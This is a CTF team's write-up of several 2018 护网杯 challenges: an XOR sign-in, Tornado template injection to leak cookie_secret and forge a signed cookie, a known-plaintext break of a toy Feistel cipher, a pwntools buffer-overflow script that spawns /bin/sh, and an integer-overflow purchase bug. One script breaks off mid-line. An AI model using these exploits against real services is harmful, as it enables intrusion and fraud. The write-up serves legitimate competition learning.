Xp0int Team
Mostly a CTF Writeup placesCategory - 护网杯2018
迟来的签到题
题目内容：AAoHAR1QUiBTJVBQI1RVIl5WJVInUlNWIFZUX1ZRJ1dWU1dfURs=
提示xor，第一个字符是\x00，格式是flag{}，xor f
得到flag
easy_tornado
翻下tornado的官方文档
https://tornado.readthedocs.io/en/latest/guide/templates.html#template-syntax
handler.settings可以获取配置信息
Ssti 获取cookie_secret
构造新的签名
获取flag
题目是简单的异或加密，采用了类似于des的feistal结构，但实际上简单的多。
def round_func(M, K):L = M[0:27]R = M[27:54]new_l = Rnew_r = xor(xor(R, L),K)return new_l + new_r
一共执行七轮轮函数，直接展开可以得到：
对于已知明文攻击十分脆弱，因为一系列的K异或之后可以看成一个单独的秘钥，明文与密文相异或就能得到这些密钥。
from fez import xortest = '2315d80c2dd73098953686be6c82aa63c1d362eb0095e4621cce28bec4c921ce016afc7f39fd93b14b6c28ce69c7096b91fd2db0862d'.decode('hex')test_enc = '308e590a180473ab4d23a0c67b65fe2bf2d0a9f1b255e4e2610b0c90e8e210c8ed4f2b9a3b09c1886a781f94fee4f77488c0b30f2395'.decode('hex')flag_enc = 'e822e918e578a7af4f0859a99aab5d7563644beb4207a73d5
十分无脑的题目，read函数存在溢出，改掉double v8的值，且不要动v7，即可满足下面条件，执行system("/bin/sh")
脚本如下，其中，4591870180066957722就是浮点数0.1在内存中的值。
from pwn import *
p = process('./task_gettingStart_ktQeERc')
p.send('a'*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(4591870180066957722))
p.interactive()"购买大辣条"的位置条件竞争
辣条之王"批量兑换"的功能的post参数number存在整型溢出---fuzz
select ~0 得到最大整数是18446744073709551615
所以18446744073709551615+5=18446744073709551620会溢出
后台处理会number*5跟大辣条数进行比较，
溢出之后的值就小于用户拥有的辣条数才可以购买
所以要找到一个合适的number 用
18446744073709551620/5=3689348814741910324
所以选择fuzz范围为3689348814741910300 - 3689348814741910400
最终溢出购买得到大量的辣条之王，然后兑换flag